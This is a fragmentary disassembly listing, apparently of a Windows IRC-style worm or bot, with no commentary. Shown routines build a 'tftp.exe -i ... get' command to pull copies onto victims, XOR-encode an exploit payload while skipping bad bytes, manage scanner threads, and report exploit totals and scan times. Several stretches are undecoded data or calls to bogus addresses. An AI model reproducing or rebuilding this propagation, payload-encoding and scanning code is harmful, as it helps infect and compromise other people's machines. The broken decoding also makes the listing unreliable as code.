aTftp_exeIGet+0Ch) lea eax, [esi+ebx] push eax call sub_41CAB0 add esi, 5 push edi push [ebp+arg_C] lea eax, [esi+ebx] push eax call sub_41CAB0 add esi, edi push 10h push (offset aTftp_exeIGet+11h) lea eax, [esi+ebx] push eax call sub_41CAB0 add esp, 44h add esi, 10h push edi lea eax, [esi+ebx] push [ebp+arg_C] push eax call sub_41CAB0 add esi, edi push 38h add esi, ebx push offset byte_431751 push esi call sub_41CAB0 mov eax, [ebp+var_4] add esp, 18h pop edi pop esi pop ebx leave retn sub_40B12F endp ; =============== S U B R O U T I N E ======================================= sub_40B207 proc near ; CODE XREF: sub_40B21E+Dp arg_0 = dword ptr 4 arg_4 = dword ptr 8 push [esp+arg_4] push [esp+4+arg_0] call sub_40B10F push eax call sub_40B28B add esp, 0Ch retn sub_40B207 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_40B21E proc near ; CODE XREF: sub_40DCEA+32p arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h arg_C = dword ptr 14h push ebp mov ebp, esp push ebx mov ebx, [ebp+arg_8] push edi mov edi, [ebp+arg_C] push edi push ebx call sub_40B207 cmp eax, [ebp+arg_4] pop ecx pop ecx ja short loc_40B23E cmp eax, 0FFFFh jbe short loc_40B242 loc_40B23E: ; CODE XREF: sub_40B21E+17j xor eax, eax jmp short loc_40B287 ; --------------------------------------------------------------------------- loc_40B242: ; CODE XREF: sub_40B21E+1Ej push esi push edi push ebx call sub_40B10F add eax, 101h push eax call sub_41BC9B add esp, 0Ch mov esi, eax push edi push ebx push edi push ebx call sub_40B10F pop ecx pop ecx push eax push esi call sub_40B12F push eax push esi push [ebp+arg_4] push [ebp+arg_0] call sub_40B2A6 push esi mov edi, eax call sub_41BA31 add esp, 24h mov eax, edi pop esi loc_40B287: ; CODE XREF: sub_40B21E+22j pop edi pop ebx pop ebp retn sub_40B21E endp ; =============== S U B R O U T I N E ======================================= sub_40B28B proc near ; CODE XREF: sub_40B207+Ep ; sub_40B2A6+4Ap arg_0 = dword ptr 4 mov ecx, [esp+arg_0] test cl, cl jnz short loc_40B294 inc ecx loc_40B294: ; CODE XREF: sub_40B28B+6j mov eax, 0FFh cmp eax, ecx sbb eax, eax and eax, 2 add eax, 15h add eax, ecx retn sub_40B28B endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_40B2A6 proc near ; CODE XREF: sub_40B21E+56p var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h arg_C = dword ptr 14h push ebp mov ebp, esp push ecx cmp byte ptr [ebp+arg_C], 0Ah jz short loc_40B2C2 cmp byte ptr [ebp+arg_C], 0Dh jz short loc_40B2C2 cmp byte ptr [ebp+arg_C], 5Ch jz short loc_40B2C2 cmp byte ptr [ebp+arg_C], 0 jnz short loc_40B2C5 loc_40B2C2: ; CODE XREF: sub_40B2A6+8j ; sub_40B2A6+Ej ... inc [ebp+arg_C] loc_40B2C5: ; CODE XREF: sub_40B2A6+1Aj push esi mov esi, 0FFh cmp [ebp+arg_C], esi jbe short loc_40B2ED mov eax, [ebp+arg_C] shr eax, 8 cmp al, 0Ah jz short loc_40B2E6 cmp al, 0Dh jz short loc_40B2E6 cmp al, 5Ch jz short loc_40B2E6 test al, al jnz short loc_40B2ED loc_40B2E6: ; CODE XREF: sub_40B2A6+32j ; sub_40B2A6+36j ... add [ebp+arg_C], 100h loc_40B2ED: ; CODE XREF: sub_40B2A6+28j ; sub_40B2A6+3Ej push [ebp+arg_C] call sub_40B28B cmp eax, [ebp+arg_4] pop ecx mov [ebp+var_4], eax ja short loc_40B305 cmp eax, 0FFFFh jbe short loc_40B30C loc_40B305: ; CODE XREF: sub_40B2A6+56j xor eax, eax jmp loc_40B3AA ; --------------------------------------------------------------------------- loc_40B30C: ; CODE XREF: sub_40B2A6+5Dj mov ecx, [ebp+arg_C] push ebx mov bl, byte_4C9448 xor edx, edx push edi mov edi, [ebp+arg_8] test ecx, ecx jbe short loc_40B33C loc_40B320: ; CODE XREF: sub_40B2A6+94j mov al, [edx+edi] xor al, bl jz short loc_40B333 cmp al, 0Ah jz short loc_40B333 cmp al, 0Dh jz short loc_40B333 cmp al, 5Ch jnz short loc_40B337 loc_40B333: ; CODE XREF: sub_40B2A6+7Fj ; sub_40B2A6+83j ... inc bl xor edx, edx loc_40B337: ; CODE XREF: sub_40B2A6+8Bj inc edx cmp edx, ecx jb short loc_40B320 loc_40B33C: ; CODE XREF: sub_40B2A6+78j cmp ecx, esi mov byte_4C9448, bl ja short loc_40B368 push 15h push offset loc_4316B0 push [ebp+arg_0] mov byte_4316BD, cl mov byte_4316C1, bl call sub_41CAB0 add esp, 0Ch push 15h jmp short loc_40B389 ; --------------------------------------------------------------------------- loc_40B368: ; CODE XREF: sub_40B2A6+9Ej push 17h push offset loc_431698 push [ebp+arg_0] mov word_4316A6, cx mov byte_4316AB, bl call sub_41CAB0 add esp, 0Ch push 17h loc_40B389: ; CODE XREF: sub_40B2A6+C0j xor eax, eax pop ecx cmp [ebp+arg_C], eax jbe short loc_40B3A5 mov edx, [ebp+arg_0] lea esi, [ecx+edx] loc_40B397: ; CODE XREF: sub_40B2A6+FDj mov cl, [eax+edi] xor cl, bl mov [esi+eax], cl inc eax cmp eax, [ebp+arg_C] jb short loc_40B397 loc_40B3A5: ; CODE XREF: sub_40B2A6+E9j mov eax, [ebp+var_4] pop edi pop ebx loc_40B3AA: ; CODE XREF: sub_40B2A6+61j pop esi leave retn sub_40B2A6 endp ; =============== S U B R O U T I N E ======================================= sub_40B3AD proc near ; CODE XREF: ___:00401596p ; ___:004015D2p ... arg_0 = dword ptr 4 arg_4 = dword ptr 8 arg_8 = dword ptr 0Ch push edi xor edi, edi mov eax, offset dword_43C040 loc_40B3B5: ; CODE XREF: sub_40B3AD+18j cmp byte ptr [eax], 0 jz short loc_40B3C9 add eax, 234h inc edi cmp eax, offset dword_4C9040 jl short loc_40B3B5 jmp short loc_40B414 ; --------------------------------------------------------------------------- loc_40B3C9: ; CODE XREF: sub_40B3AD+Bj push esi mov esi, edi imul esi, 234h push 1FFh push [esp+0Ch+arg_0] lea eax, dword_43C040[esi] push eax call sub_41BD70 mov eax, [esp+14h+arg_4] add esp, 0Ch mov dword_43C240[esi], eax and dword_43C244[esi], 0 mov eax, [esp+8+arg_8] and dword_43C248[esi], 0 mov dword_43C24C[esi], eax and byte_43C258[esi], 0 pop esi loc_40B414: ; CODE XREF: sub_40B3AD+1Aj mov eax, edi pop edi retn sub_40B3AD endp ; --------------------------------------------------------------------------- dword_40B418 dd 81EC8B55h, 98ECh, 8458B00h, 266A5756h, 8DF08B59h, 0FFFF68BDh ; DATA XREF: sub_401AC7+292Co dd 0FFA5F3FFh, 80C7F075h, 94h, 1, 0FF6C858Dh, 75FFFFFFh dd 0B5FF50F4h, 0FFFFFF68h, 15E8h, 0EC75FF00h, 26CE8h, 14C48300h dd 0E890006Ah, 22E4B98h, 8B555E5Fh, 0EC81ECh, 56000002h dd 0FF006A57h, 8C681075h, 0FF004317h, 75FF0C75h, 0E3D8E808h dd 0C483FFFFh, 0BEFF3314h, 43C040h, 74003E80h, 147D833Ch dd 83097500h, 204BEh, 2D750000h, 858D5756h, 0FFFFFE00h dd 42C54868h, 4BE85000h, 6A00010Bh, 858D01h, 0FFFFFFFEh dd 0FF501075h, 75FF0C75h, 0E390E808h, 0C483FFFFh, 34C68124h dd 47000002h, 9040FE81h, 0B07C004Ch, 0C3C95E5Fh ; =============== S U B R O U T I N E ======================================= sub_40B4E8 proc near ; CODE XREF: sub_401AC7+79C4p ; sub_40B576+12p ... arg_0 = dword ptr 4 push ebx push ebp push esi mov esi, [esp+0Ch+arg_0] xor ebx, ebx xor ebp, ebp cmp esi, ebx jle short loc_40B570 cmp esi, 400h jge short loc_40B570 imul esi, 234h push edi push ebx push dword_43C254[esi] lea edi, dword_43C254[esi] nop call near ptr 26A07C0h cmp [edi], ebx jz short loc_40B520 push 1 pop ebp loc_40B520: ; CODE XREF: sub_40B4E8+33j mov [edi], ebx lea edi, dword_43C248[esi] mov dword_43C240[esi], ebx mov dword_43C244[esi], ebx mov eax, [edi] cmp eax, ebx jbe short loc_40B541 push eax call sub_419EB7 pop ecx loc_40B541: ; CODE XREF: sub_40B4E8+50j mov [edi], ebx lea edi, dword_43C24C[esi] mov byte ptr dword_43C040[esi], bl mov byte_43C258[esi], bl push dword ptr [edi] call dword_4C939C lea esi, dword_43C250[esi] mov [edi], ebx push dword ptr [esi] call dword_4C939C mov [esi], ebx pop edi loc_40B570: ; CODE XREF: sub_40B4E8+Dj ; sub_40B4E8+15j mov eax, ebp pop esi pop ebp pop ebx retn sub_40B4E8 endp ; =============== S U B R O U T I N E ======================================= sub_40B576 proc near ; CODE XREF: sub_40111D+18p ; ___:loc_4017D3p ... push ebx push esi push edi xor ebx, ebx xor edi, edi mov esi, offset dword_43C040 loc_40B582: ; CODE XREF: sub_40B576+2Aj cmp byte ptr [esi], 0 jz short loc_40B593 push edi call sub_40B4E8 test eax, eax pop ecx jz short loc_40B593 inc ebx loc_40B593: ; CODE XREF: sub_40B576+Fj ; sub_40B576+1Aj add esi, 234h inc edi cmp esi, offset dword_4C9040 jl short loc_40B582 pop edi mov eax, ebx pop esi pop ebx retn sub_40B576 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_40B5A8 proc near ; CODE XREF: sub_401AC7+41B3p ; sub_401AC7+4300p ... var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch push ebp mov ebp, esp push ecx push ebx push esi xor ebx, ebx push edi mov edi, [ebp+arg_4] mov [ebp+var_4], ebx mov esi, offset dword_43C244 loc_40B5BC: ; CODE XREF: sub_40B5A8+43j mov eax, [esi-4] cmp eax, [ebp+arg_0] jnz short loc_40B5DE test edi, edi jle short loc_40B5D0 cmp [esi], edi jz short loc_40B5D0 cmp ebx, edi jnz short loc_40B5DE loc_40B5D0: ; CODE XREF: sub_40B5A8+1Ej ; sub_40B5A8+22j push ebx call sub_40B4E8 test eax, eax pop ecx jz short loc_40B5DE inc [ebp+var_4] loc_40B5DE: ; CODE XREF: sub_40B5A8+1Aj ; sub_40B5A8+26j ... add esi, 234h inc ebx cmp esi, offset dword_4C9244 jl short loc_40B5BC mov eax, [ebp+var_4] pop edi pop esi pop ebx leave retn sub_40B5A8 endp ; =============== S U B R O U T I N E ======================================= sub_40B5F5 proc near ; CODE XREF: ___:0040162Ap ; sub_401AC7+955p ... arg_0 = dword ptr 4 xor eax, eax mov ecx, offset dword_43C240 loc_40B5FC: ; CODE XREF: sub_40B5F5+1Cj mov edx, [ecx] cmp edx, [esp+arg_0] jnz short loc_40B605 inc eax loc_40B605: ; CODE XREF: sub_40B5F5+Dj add ecx, 234h cmp ecx, offset dword_4C9240 jl short loc_40B5FC retn sub_40B5F5 endp ; =============== S U B R O U T I N E ======================================= sub_40B614 proc near ; CODE XREF: sub_401AC7+23C3p arg_0 = dword ptr 4 xor eax, eax push esi xor edx, edx mov ecx, offset dword_43C240 loc_40B61E: ; CODE XREF: sub_40B614+1Fj mov esi, [ecx] cmp esi, [esp+4+arg_0] jz short loc_40B637 add ecx, 234h inc edx cmp ecx, offset dword_4C9240 jl short loc_40B61E pop esi retn ; --------------------------------------------------------------------------- loc_40B637: ; CODE XREF: sub_40B614+10j mov eax, edx pop esi retn sub_40B614 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_40B63B proc near ; CODE XREF: sub_401AC7+1230p ; sub_401AC7+124Ep ... var_200 = byte ptr -200h arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h arg_C = dword ptr 14h arg_10 = dword ptr 18h arg_14 = dword ptr 1Ch arg_18 = dword ptr 20h arg_1C = dword ptr 24h push ebp mov ebp, esp sub esp, 200h xor eax, eax cmp [ebp+arg_1C], eax jz short loc_40B654 push [ebp+arg_1C] call sub_41BEF9 pop ecx loc_40B654: ; CODE XREF: sub_40B63B+Ej push eax push [ebp+arg_18] call sub_40B5A8 pop ecx test eax, eax pop ecx jle short loc_40B680 push eax lea eax, [ebp+var_200] push [ebp+arg_14] push [ebp+arg_10] push offset aSSStopped_DThr ; "%s %s stopped. (%d thread(s) stopped.)" push eax call sub_41C006 add esp, 14h jmp short loc_40B69A ; --------------------------------------------------------------------------- loc_40B680: ; CODE XREF: sub_40B63B+26j push [ebp+arg_14] lea eax, [ebp+var_200] push [ebp+arg_10] push offset aSNoSThreadFoun ; "%s No %s thread found." push eax call sub_41C006 add esp, 10h loc_40B69A: ; CODE XREF: sub_40B63B+43j cmp [ebp+arg_C], 0 jnz short loc_40B6BA push 0 lea eax, [ebp+var_200] push [ebp+arg_8] push eax push [ebp+arg_4] push [ebp+arg_0] call sub_409862 add esp, 14h loc_40B6BA: ; CODE XREF: sub_40B63B+63j lea eax, [ebp+var_200] push eax call sub_415CEE pop ecx leave retn sub_40B63B endp ; =============== S U B R O U T I N E ======================================= sub_40B6C9 proc near ; CODE XREF: sub_4017E7+159p ; ___:0040BCF6p ... arg_0 = dword ptr 4 mov eax, [esp+arg_0] xor ecx, ecx imul eax, 234h mov dword_43C254[eax], ecx mov dword_43C240[eax], ecx mov dword_43C244[eax], ecx mov dword_43C248[eax], ecx mov dword_43C24C[eax], ecx mov dword_43C250[eax], ecx mov byte ptr dword_43C040[eax], cl mov byte_43C258[eax], cl retn sub_40B6C9 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_40B706 proc near ; CODE XREF: sub_401AC7+7C27p ; sub_40B834+6Bp ... arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch push ebp mov ebp, esp push esi mov esi, [ebp+arg_0] push 1 pop eax loc_40B710: ; CODE XREF: sub_40B706+68j mov cl, [esi] test cl, cl jz short loc_40B770 cmp eax, 1 jnz short loc_40B770 mov edx, [ebp+arg_4] mov dl, [edx] test dl, dl jz short loc_40B770 cmp cl, 2Ah jz short loc_40B757 cmp cl, 3Fh jz short loc_40B73A cmp cl, 5Bh jz short loc_40B73F xor eax, eax cmp cl, dl setz al loc_40B73A: ; CODE XREF: sub_40B706+26j inc [ebp+arg_4] jmp short loc_40B76A ; --------------------------------------------------------------------------- loc_40B73F: ; CODE XREF: sub_40B706+2Bj lea eax, [ebp+arg_4] inc esi push eax lea eax, [ebp+arg_0] push eax mov [ebp+arg_0], esi call sub_40B79C mov esi, [ebp+arg_0] pop ecx pop ecx jmp short loc_40B76A ; --------------------------------------------------------------------------- loc_40B757: ; CODE XREF: sub_40B706+21j lea eax, [ebp+arg_4] push eax lea eax, [ebp+arg_0] push eax call sub_40B834 mov esi, [ebp+arg_0] pop ecx pop ecx dec esi loc_40B76A: ; CODE XREF: sub_40B706+37j ; sub_40B706+4Fj inc esi mov [ebp+arg_0], esi jmp short loc_40B710 ; --------------------------------------------------------------------------- loc_40B770: ; CODE XREF: sub_40B706+Ej ; sub_40B706+13j ... cmp byte ptr [esi], 2Ah jnz short loc_40B780 cmp eax, 1 jnz short loc_40B797 inc esi mov [ebp+arg_0], esi jmp short loc_40B770 ; --------------------------------------------------------------------------- loc_40B780: ; CODE XREF: sub_40B706+6Dj cmp eax, 1 jnz short loc_40B797 mov eax, [ebp+arg_4] cmp byte ptr [eax], 0 jnz short loc_40B797 cmp byte ptr [esi], 0 jnz short loc_40B797 push 1 pop eax jmp short loc_40B799 ; --------------------------------------------------------------------------- loc_40B797: ; CODE XREF: sub_40B706+72j ; sub_40B706+7Dj ... xor eax, eax loc_40B799: ; CODE XREF: sub_40B706+8Fj pop esi pop ebp retn sub_40B706 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_40B79C proc near ; CODE XREF: sub_40B706+45p var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch push ebp mov ebp, esp push ecx push ecx mov edx, [ebp+arg_0] push edi xor edi, edi push 1 mov ecx, [edx] and [ebp+var_8], edi pop eax cmp byte ptr [ecx], 21h mov [ebp+var_4], eax jnz short loc_40B7BD inc ecx mov [ebp+var_8], eax mov [edx], ecx loc_40B7BD: ; CODE XREF: sub_40B79C+19j push ebx push esi loc_40B7BF: ; CODE XREF: sub_40B79C+7Bj mov ecx, [edx] mov bl, [ecx] cmp bl, 5Dh jnz short loc_40B7CD cmp [ebp+var_4], eax jnz short loc_40B819 loc_40B7CD: ; CODE XREF: sub_40B79C+2Aj test edi, edi jnz short loc_40B80E cmp bl, 2Dh jnz short loc_40B802 mov al, [ecx+1] lea esi, [ecx+1] mov cl, [ecx-1] cmp cl, al jge short loc_40B802 cmp al, 5Dh jz short loc_40B802 cmp [ebp+var_4], edi jnz short loc_40B802 mov ebx, [ebp+arg_4] mov ebx, [ebx] mov bl, [ebx] cmp bl, cl jl short loc_40B80E cmp bl, al jg short loc_40B80E push 1 mov [edx], esi pop edi jmp short loc_40B80E ; --------------------------------------------------------------------------- loc_40B802: ; CODE XREF: sub_40B79C+38j ; sub_40B79C+45j ... mov eax, [ebp+arg_4] mov eax, [eax] cmp bl, [eax] jnz short loc_40B80E push 1 pop edi loc_40B80E: ; CODE XREF: sub_40B79C+33j ; sub_40B79C+59j ... inc dword ptr [edx] and [ebp+var_4], 0 push 1 pop eax jmp short loc_40B7BF ; --------------------------------------------------------------------------- loc_40B819: ; CODE XREF: sub_40B79C+2Fj cmp [ebp+var_8], eax pop esi pop ebx jnz short loc_40B826 mov ecx, eax sub ecx, edi mov edi, ecx loc_40B826: ; CODE XREF: sub_40B79C+82j cmp edi, eax jnz short loc_40B82F mov eax, [ebp+arg_4] inc dword ptr [eax] loc_40B82F: ; CODE XREF: sub_40B79C+8Cj mov eax, edi pop edi leave retn sub_40B79C endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_40B834 proc near ; CODE XREF: sub_40B706+59p var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch push ebp mov ebp, esp push ecx push ebx push esi mov esi, [ebp+arg_0] push edi mov edi, [ebp+arg_4] mov [ebp+var_4], 1 inc dword ptr [esi] mov ecx, [esi] mov eax, [edi] xor ebx, ebx loc_40B850: ; CODE XREF: sub_40B834+3Aj cmp [eax], bl jz short loc_40B870 mov cl, [ecx] cmp cl, 3Fh jz short loc_40B865 cmp cl, 2Ah jnz short loc_40B870 cmp cl, 3Fh jnz short loc_40B868 loc_40B865: ; CODE XREF: sub_40B834+25j inc eax mov [edi], eax loc_40B868: ; CODE XREF: sub_40B834+2Fj inc dword ptr [esi] mov ecx, [esi] mov eax, [edi] jmp short loc_40B850 ; --------------------------------------------------------------------------- loc_40B870: ; CODE XREF: sub_40B834+1Ej ; sub_40B834+2Aj ... mov eax, [esi] cmp byte ptr [eax], 2Ah jnz short loc_40B87B inc dword ptr [esi] jmp short loc_40B870 ; --------------------------------------------------------------------------- loc_40B87B: ; CODE XREF: sub_40B834+41j mov eax, [edi] mov cl, [eax] cmp cl, bl jnz short loc_40B89C mov edx, [esi] cmp [edx], bl jz short loc_40B88D xor eax, eax jmp short loc_40B8FC ; --------------------------------------------------------------------------- loc_40B88D: ; CODE XREF: sub_40B834+53j cmp cl, bl jnz short loc_40B89C mov ecx, [esi] cmp [ecx], bl jnz short loc_40B89C push 1 pop eax jmp short loc_40B8FC ; --------------------------------------------------------------------------- loc_40B89C: ; CODE XREF: sub_40B834+4Dj ; sub_40B834+5Bj ... push eax push dword ptr [esi] call sub_40B706 pop ecx test eax, eax pop ecx jnz short loc_40B8E6 loc_40B8AA: ; CODE XREF: sub_40B834+B0j inc dword ptr [edi] mov eax, [edi] loc_40B8AE: ; CODE XREF: sub_40B834+90j mov ecx, [esi] mov dl, [eax] mov cl, [ecx] cmp cl, dl jz short loc_40B8C6 cmp cl, 5Bh jz short loc_40B8C6 cmp dl, bl jz short loc_40B8C6 inc eax mov [edi], eax jmp short loc_40B8AE ; --------------------------------------------------------------------------- loc_40B8C6: ; CODE XREF: sub_40B834+82j ; sub_40B834+87j ... mov eax, [edi] cmp [eax], bl jz short loc_40B8DD push eax push dword ptr [esi] call sub_40B706 neg eax pop ecx sbb eax, eax pop ecx inc eax jmp short loc_40B8E2 ; --------------------------------------------------------------------------- loc_40B8DD: ; CODE XREF: sub_40B834+96j mov [ebp+var_4], ebx xor eax, eax loc_40B8E2: ; CODE XREF: sub_40B834+A7j cmp eax, ebx jnz short loc_40B8AA loc_40B8E6: ; CODE XREF: sub_40B834+74j mov eax, [edi] cmp [eax], bl jnz short loc_40B8F9 mov eax, [esi] cmp [eax], bl jnz short loc_40B8F9 mov [ebp+var_4], 1 loc_40B8F9: ; CODE XREF: sub_40B834+B6j ; sub_40B834+BCj mov eax, [ebp+var_4] loc_40B8FC: ; CODE XREF: sub_40B834+57j ; sub_40B834+66j pop edi pop esi pop ebx leave retn sub_40B834 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_40B901 proc near ; CODE XREF: sub_401AC7+2AC2p var_400 = byte ptr -400h var_200 = byte ptr -200h arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h push ebp mov ebp, esp sub esp, 400h push ebx push edi lea eax, [ebp+var_200] push offset unk_431BEC push eax xor ebx, ebx call sub_41C006 cmp dword_431808, ebx pop ecx pop ecx mov edi, 200h jz short loc_40B973 push esi mov esi, offset dword_431810 loc_40B934: ; CODE XREF: sub_40B901+6Fj mov eax, [esi] test eax, eax jbe short loc_40B969 add ebx, eax push eax lea eax, [esi-26h] push eax lea eax, [ebp+var_400] push offset dword_431BE0 push eax call sub_41C006 lea eax, [ebp+var_400] push edi push eax lea eax, [ebp+var_200] push eax call sub_41C950 add esp, 1Ch loc_40B969: ; CODE XREF: sub_40B901+37j add esi, 40h cmp dword ptr [esi-8], 0 jnz short loc_40B934 pop esi loc_40B973: ; CODE XREF: sub_40B901+2Bj push dword_4C9044 call sub_41AD74 push eax push ebx lea eax, [ebp+var_400] push offset aTotalDInS_ ; " Total: %d in %s." push eax call sub_41C006 lea eax, [ebp+var_400] push edi push eax lea eax, [ebp+var_200] push eax call sub_41C950 push 0 lea eax, [ebp+var_200] push [ebp+arg_8] push eax push [ebp+arg_4] push [ebp+arg_0] call sub_409862 lea eax, [ebp+var_200] push eax call sub_415CEE add esp, 38h pop edi pop ebx leave retn sub_40B901 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_40B9CF proc near ; CODE XREF: sub_401AC7+2AACp var_200 = byte ptr -200h arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h push ebp mov ebp, esp sub esp, 200h mov eax, dword_4CBE10 mov ecx, dword_4CBE0C push esi push dword_4C9044 lea esi, [ecx+eax] call sub_41AD74 push eax push esi push dword_4CBE10 lea eax, [ebp+var_200] push dword_4CBE0C push offset unk_431C0C push eax call sub_41C006 push 0 lea eax, [ebp+var_200] push [ebp+arg_8] push eax push [ebp+arg_4] push [ebp+arg_0] call sub_409862 lea eax, [ebp+var_200] push eax call sub_415CEE add esp, 34h pop esi leave retn sub_40B9CF endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_40BA3A proc near ; CODE XREF: sub_401AC7+2A96p var_200 = byte ptr -200h arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h push ebp mov ebp, esp sub esp, 200h push dword_4C9044 call sub_41AD74 push eax lea eax, [ebp+var_200] push dword_4CC058 push offset unk_431C54 push eax call sub_41C006 push 0 lea eax, [ebp+var_200] push [ebp+arg_8] push eax push [ebp+arg_4] push [ebp+arg_0] call sub_409862 lea eax, [ebp+var_200] push eax call sub_415CEE add esp, 2Ch leave retn sub_40BA3A endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_40BA8E proc near ; CODE XREF: sub_401AC7+2A80p var_1000 = byte ptr -1000h var_800 = byte ptr -800h arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h push ebp mov ebp, esp mov eax, 1000h call sub_41C2A0 push edi lea eax, [ebp+var_800] push offset dword_431CA0 push eax call sub_41C006 cmp dword_431808, 0 pop ecx pop ecx mov edi, 800h jz short loc_40BAFA push esi mov esi, offset aSymantec ; "Symantec" loc_40BAC3: ; CODE XREF: sub_40BA8E+69j lea eax, [esi-0Ah] push eax push esi lea eax, [ebp+var_1000] push offset dword_431C90 push eax call sub_41C006 lea eax, [ebp+var_1000] push edi push eax lea eax, [ebp+var_800] push eax call sub_41C950 add esi, 40h add esp, 1Ch cmp dword ptr [esi+1Eh], 0 jnz short loc_40BAC3 pop esi loc_40BAFA: ; CODE XREF: sub_40BA8E+2Dj push dword_4C9044 call sub_41AD74 push eax lea eax, [ebp+var_1000] push offset aScanTimeS_ ; " Scan Time: %s." push eax call sub_41C006 lea eax, [ebp+var_1000] push edi push eax lea eax, [ebp+var_800] push eax call sub_41C950 push 0 lea eax, [ebp+var_800] push [ebp+arg_8] push eax push [ebp+arg_4] push [ebp+arg_0] call sub_409862 lea eax, [ebp+var_800] push eax call sub_415CEE add esp, 34h pop edi leave retn sub_40BA8E endp ; --------------------------------------------------------------------------- dword_40BB54 dd 81EC8B55h, 3F0ECh, 8458B00h, 6A575653h, 59F08B4Bh, 0FECCBD8Dh ; DATA XREF: sub_401AC7+30C9o dd 0A5F3FFFFh, 12880C7h, 10000h, 858D0000h, 0FFFFFECCh dd 4415FF50h, 33004C93h, 0F84589FFh, 18083D39h, 7D890043h dd 87D89FCh, 114840Fh, 8BB0000h, 8B004318h ; --------------------------------------------------------------------------- retn ; --------------------------------------------------------------------------- loc_40BBA5: ; CODE XREF: ___:0040BCACj push dword ptr [ebp-1Ch] push dword ptr [eax] push dword ptr [ebp-8] call sub_40C336 add esp, 0Ch cmp eax, 1 jnz loc_40BCA2 push dword ptr [ebx] lea esi, [ebx-28h] lea eax, [ebp-134h] push eax lea eax, [esi+0Ah] push eax lea eax, [ebp-3F0h] push offset unk_431CF0 push eax call sub_41C006 push edi lea eax, [ebp-3F0h] push dword ptr [ebp-14h] push eax lea eax, [ebp-124h] push eax push dword ptr [ebp-24h] call sub_409862 lea eax, [ebp-3F0h] push eax call sub_415CEE lea eax, [ebp-134h] push eax lea eax, [ebp-1ECh] push eax call sub_41C006 lea eax, [ebp-15Ch] push esi push eax call sub_41C006 add esp, 3Ch cmp byte ptr [ebp-0A4h], 0 lea eax, [ebp-0A4h] jnz short loc_40BC3D lea eax, [ebp-124h] loc_40BC3D: ; CODE XREF: ___:0040BC35j push eax lea eax, [ebp-1DCh] push eax call sub_41C006 mov eax, [ebp-24h] pop ecx mov [ebp-1F0h], eax mov eax, [ebp-14h] mov [ebp-140h], eax mov eax, [ebp-10h] pop ecx mov [ebp-13Ch], eax mov eax, [ebx] sub esp, 0BCh mov [ebp-150h], eax mov eax, [ebp-18h] push 2Fh mov [ebp-14Ch], eax mov eax, [ebp+8] pop ecx lea esi, [ebp-1F0h] mov edi, esp mov [ebp-148h], eax rep movsd call dword ptr [ebx+4] add esp, 0BCh inc dword ptr [ebp-4] xor edi, edi loc_40BCA2: ; CODE XREF: ___:0040BBB8j inc dword ptr [ebp+8] add ebx, 40h mov eax, ebx cmp [ebx], edi jnz loc_40BBA5 push dword ptr [ebp-4] lea eax, [ebp-134h] push eax lea eax, [ebp-3F0h] push offset unk_431CBC push eax call sub_41C006 push edi lea eax, [ebp-3F0h] push dword ptr [ebp-14h] push eax lea eax, [ebp-124h] push eax push dword ptr [ebp-24h] call sub_409862 lea eax, [ebp-3F0h] push eax call sub_415CEE push dword ptr [ebp-18h] call sub_40B6C9 add esp, 2Ch push edi nop ; --------------------------------------------------------------------------- dd 2E42FBE8h db 2 ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_40BD05 proc near ; CODE XREF: sub_401AC7+23DEp var_200 = byte ptr -200h arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h arg_C = dword ptr 14h push ebp mov ebp, esp sub esp, 200h push 0Bh call sub_40B5F5 test eax, eax pop ecx jle short loc_40BD41 mov eax, [ebp+arg_C] push dword_4C9450[eax*8] call dword_4C9390 push eax lea eax, [ebp+var_200] push offset unk_431D40 push eax call sub_41C006 add esp, 0Ch jmp short loc_40BD54 ; --------------------------------------------------------------------------- loc_40BD41: ; CODE XREF: sub_40BD05+13j lea eax, [ebp+var_200] push offset unk_431D20 push eax call sub_41C006 pop ecx pop ecx loc_40BD54: ; CODE XREF: sub_40BD05+3Aj push 0 lea eax, [ebp+var_200] push [ebp+arg_8] push eax push [ebp+arg_4] push [ebp+arg_0] call sub_409862 lea eax, [ebp+var_200] push eax call sub_415CEE add esp, 18h leave retn sub_40BD05 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_40BD7C proc near ; CODE XREF: sub_40C3D3+263p var_210 = dword ptr -210h var_204 = byte ptr -204h var_4 = byte ptr -4 arg_10 = byte ptr 18h arg_90 = byte ptr 98h arg_110 = dword ptr 118h arg_130 = dword ptr 138h arg_138 = dword ptr 140h arg_13C = dword ptr 144h push ebp mov ebp, esp sub esp, 204h mov eax, [ebp+arg_130] push ebx cmp eax, 0FFFFFFFFh push esi jz loc_40C24E shl eax, 6 xor ebx, ebx cmp dword_431814[eax], ebx jz loc_40C24E push 5 call sub_40B5F5 test eax, eax pop ecx jnz loc_40C003 mov eax, dword_429078 push edi mov esi, offset dword_4CB50C push 104h push esi push ebx mov dword_4CB71C, eax mov dword_4CB718, ebx call near ptr 2670000h nop mov edi, offset byte_429108 push 103h push edi 